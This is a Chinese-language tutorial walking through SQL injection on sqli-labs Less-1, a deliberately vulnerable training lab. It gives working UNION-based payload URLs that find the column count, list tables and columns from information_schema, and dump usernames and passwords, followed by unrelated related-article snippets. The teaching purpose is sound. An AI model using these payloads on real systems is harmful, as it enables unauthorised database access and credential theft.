mysql注入精讲

Sqlliab

Less1

首先来看源码

我们发现直接将id的字段丢给了查询sql语句函数。输入地址看看效果

http://192.168.16.135/sqli-labs-master/Less-1/?id=1

我们发现当id=1的时候,当前的执行语句为:

SELECT * FROM users WHERE id=‘1‘ LIMIT 0,1

我们首先试试判断sql注入的常用手法:加个’试试效果

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘

发现就会报错,为什么会报错呢,我们可以清楚的看到sql注入的执行语句为:

SELECT * FROM users WHERE id=‘1‘‘ LIMIT 0,1

因为id=’1’’,这是一个错误的sql语句,因此会出现报错信息。

我们在来试试另一个判断注入点的方法:and 1=1 和and 1=2

首先输入and1=1

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=1

发现执行的语句SELECT * FROM users WHERE id=‘1 and 1=1‘ LIMIT 0,1

我们发现1 and 1=1作为ID的值被传入sql语句进行查询,无论怎样查询到的结果只是id作为1的值。输入and 1=3看看。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=3

怎么样才能让sql语句执行 and语句呢?可以发现id的内容不是字符串吗,我们可以尝试闭合字符串。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 ‘and 1=‘1成进行了闭合字段,在看看and1=2的内容

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 ‘and 1=‘2

我们发现执行and1=1和执行and1=2的页面反馈效果不同,说明存在sql注入点。

使用order by 字段,发现执行的sql语句为:

SELECT * FROM users WHERE id=‘1 order by 9‘ LIMIT 0,1

发现和执行and 的是一个道理,只不过在执行and的语句是我没有截断sql语句(说明这片文章的思路有一点小问题),在常规的sql注入过程中,如果我们发现是确实存在sql注入点的时候。我们就应该截断sql语句,在这片文章里就是“’LIMIT 0,1”。干掉sql语句的多余部分。那么问题来了我们怎么样才能干掉后面的部分?有没有一点的思路呢?

注释,对就是注释你没有想错,sql语句中一共有三种注释符,分别是#,/**/,--。

首先说明这三种注释符的意义

Select ID from user # 表示这条sql语句到此结束,常用语单行注释。

Select id from user --  表示这条语句到此结束,常用语多行注释。主意这里的--双换线要求前后至少有一个空格,在sql语句的空格用+表示。

/*注释sql语句的*/ 通常用于大段的注释。

首先我们来干掉多余的sql语句。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ --+,正常返回页面,说明sql后面的LIMIT 0,1被干掉。

执行语句http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ #

居然会爆错一大堆,为啥呢?看执行的sql语句:

SELECT * FROM users WHERE id=‘1‘ ‘ LIMIT 0,1

说明没有被干掉,那么怎么办呢?在sql注入的过程经常使用的一招就是编码,是用url编码问题。常用的URL编码%20代表空格,%23表示#,说一个问题,URL和16进制有个相似的地方就是%23和0x23。都代表的#。感兴趣可以下去研究一下。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ %23,返回正常。

判断字段长度

Oder by  原理

T1表中有三个字段的时候,我们使用查询语句,

Select * from t1 where id =1 order by 3,返回正常数据。

使用select *  from t1 where id =1 order by 4,发现sql语句报错,并且返回没有找到这样的字段。

当t1表有四个字段的时候,使用查询语句

Select * from t1 where id =1 order by 4,返回数据。

Select * from t1 where id =1 order by 5,

返回错误。也就是说order by 就是来判断表中到底有多少列。如果表中有3列,那么order by 3 查询到数据,如果 order by 4,则这个表中没有4列数据,报错。熟悉了原理来看看利用过程。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 9%23

发现Unknown column ‘9‘ in ‘order clause‘,说明不存在该字段。使用二分法来判断其他的数字。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 3%23,发现3有页面。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 4%23

发现4没有,则说明就只有3个字段。

接下来就是查询字段,使用union select 来查询的原理。执行id=1返回正常,

执行-1返回的是空字段。

执行-1 union select 1,返回name

我们可以这样理解

Select name from
t1 where id =-1 这条语句执行的结果为空

Uninon select 1这条语句才能查询到结果,给页面返回查询到的数字。

如何利用呢?也就说只要我们使union前面的sql语句执行的结果为空。才能让页面显示出union 后面的sql语句执行的结果。我们使用and来验证一下。

Select name from
t1 where id =1 and 1=1,发现返回的是一个字段。

Select name from
t1 where id =1 and 1=2,发现查询到的结果为空

Select name from
t1 where id =1 and 1=2 union select 1,

使用联合查询,查询到数据。

熟悉了联合查询的原理。我们来在页面中使用联合查询获取字段。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘
union select 1,2,3%23

看一下执行的sql语句:

SELECT * FROM
users WHERE id=‘-1‘ union select 1,2,3#

注意:截图中的执行SQL语句不正确,因为我们使用了#注释以后, #后面的内容已被sql过滤。也就是说#后面的东西为空。

我们发现在页面中返回了2,3两个字段。接下来利用在页面显示的字段来判断sql的版本和数据库。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘
union select 1,version(),database ()%23

发现MySQL的版本是5.5.53>5.0,大于5.0版本的mysql有一个数据库information_schema这个数据库里存储所有有MySQL的操作。我们看到在information_schema中有个表是tables,这个表里存储所有的表的属性。

在columns中存储所有有关列的信息。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘
union select 1,2, group_concat(table_name) from information_schema.tables where
table_schema=‘security‘%23,获取表名

也可以使用

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘
union select 1,2, group_concat(table_name) from information_schema.tables where
table_schema=database()%23

获取列名,以users表为例。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘
union select 1,version(),group_concat(column_name)from information_schema.columns
where table_name=‘users‘%23

获取数据。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘
union select 1,version(),group_concat(username,password) from users%23

得到数据库的管理的用户名和密码。那么接下来怎么做?

时间: 2024-10-25 08:47:22

mysql注入精讲的相关文章

MySQL创建用户与授权方法实例精讲

MySQL中创建用户与授权的实现方法. 运行环境:widnows xp professional + MySQL5.0 一, 创建用户: 命令:CREATE USER 'username'@'host' IDENTIFIED BY 'password'; 说明:username - 你将创建的用户名, host - 指定该用户在哪个主机上可以登陆,如果是本地用户可用localhost, 如果想让该用户可以从任意远程主机登陆,可以使用通配符%. password - 该用户的登陆密码,密码可以为空

mysql注入篇

博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由于我没有找见php的实战本地源码,所以只好用一些漏洞平台的源码来演示了,演示不了的,只能列代码,没有实操图.毕竟找不见源码,,没法... 首先我们都知道mysql数据库和Access数据库的不同,不同在mysql是分多个数据库名的. 就像像我上图贴的这个格式一样,原谅我是在是没有本地源码,连数据库的

Hibernate入门精讲

学习Hibernate ,我们首先要知道为什么要学习它?它有什么好处?也就是我们为什么要学习框架技术? 还要知道    什么是Hibernate?    为什么要使用Hibernate?    Hibernate的配置文件的作用是什么?          Hibernate映射文件的作用是什么?     Hibernate持久化对象的状态有哪些? 现在我先上面的问题解决了. 一.我们为什么要学习框架技术? 1.框架技术有哪些? 在Java开发中,我们经常使用Struts.Hibernate和Sp

Keepalived原理与实战精讲

什么是Keepalived呢,keepalived观其名可知,保持存活,在网络里面就是保持在线了,也就是所谓的高可用或热备,用来防止单点故障(单点故障是指一旦某一点出现故障就会导致整个系统架构的不可用)的发生,那说到keepalived时不得不说的一个协议就是VRRP协议,可以说这个协议就是keepalived实现的基础,那么首先我们来看看VRRP协议 注:搞运维的要有足够的耐心哦,不理解协议就很难透彻的掌握keepalived的了 一,VRRP协议VRRP协议学过网络的朋友都知道,网络在设计的

不看绝对后悔的Linux三剑客之awk实战精讲

一.Linux三剑客之awk命令精讲 第1章 awk基础入门 1.1 awk简介 awk不仅仅时linux系统中的一个命令,而且是一种编程语言,可以用来处理数据和生成报告(excel).处理的数据可以是一个或多个文件,可以是来自标准输入,也可以通过管道获取标准输入,awk可以在命令行上直接编辑命令进行操作,也可以编写成awk程序来进行更为复杂的运用.本章主要讲解awk命令的运用 1.2 awk环境简介 [[email protected] ~]# cat /etc/redhat-release 

SQL语法精讲(包括建库、建表、建视图、查询、增加、删除、)

SQL语法精讲(包括建库.建表.建视图.查询.增加.删除.修改) SQL分类: DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE) DML—数据操纵语言(SELECT,DELETE,UPDATE,INSERT) DCL—数据控制语言(GRANT,REVOKE,COMMIT,ROLLBACK) 首先,简要介绍基础语句: 1.说明:创建数据库 CREATE DATABASE database-name 2.说明:删除数据库 drop database dbname 3.说明:

CSDN学霸课表——iOS人机交互设计规范精讲

[交互设计]iOS人机交互设计规范精讲 讲师:赵大羽 苹果公司推出了<iOS Human Interface Guidelines(人机交互指南)>,本课程依据这份文档深入剖析苹果公司的设计理念.方法.规范及背后的心理学.生理学及交互的艺术.为广大的设计师和开发者提供更加清晰.明确.完美的解决方案. ?开始学习 [移动开发]7天玩转iOS界面开发 讲师:张益珲 一套系统的iOS UI开发课程,基本涵盖iOS开发中所用到的全部系统UI控件,在详细讲解基础运用了基础上,更层次的分析高级用法,对于有

Webpack + React全栈工程架构项目实战精讲

详情请交流  QQ  709639943 01.Webpack + React全栈工程架构项目实战精讲 02.跨平台混编框架 MUI 仿豆瓣电影 APP 03.Node.js入门到企业Web开发中的应用 04.Python3 全网最热的Python3入门+进阶 比自学更快上手实际开发 05.Java秒杀系统方案优化 高性能高并发实战 06.Java深入微服务原理改造房产销售平台 07.快速上手Linux 玩转典型应用 08.全面系统讲解CSS 工作应用+面试一步搞定 09.Java Spring

精讲Redis持久化

前言 在上一篇文章中,介绍了精讲Redis内存模型,从这篇文章开始,将依次介绍Redis高可用相关的知识--持久化.复制(及读写分离).哨兵.以及集群. 一.Redis高可用概述 在介绍Redis高可用之前,先说明一下在Redis的语境中高可用的含义. 我们知道,在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时间内可以提供正常服务(99.9%.99.99%.99.999% 等等).但是在Redis语境中,高可用的含义似乎要宽泛一些,除了保证提供正常服务(如主从分离.快速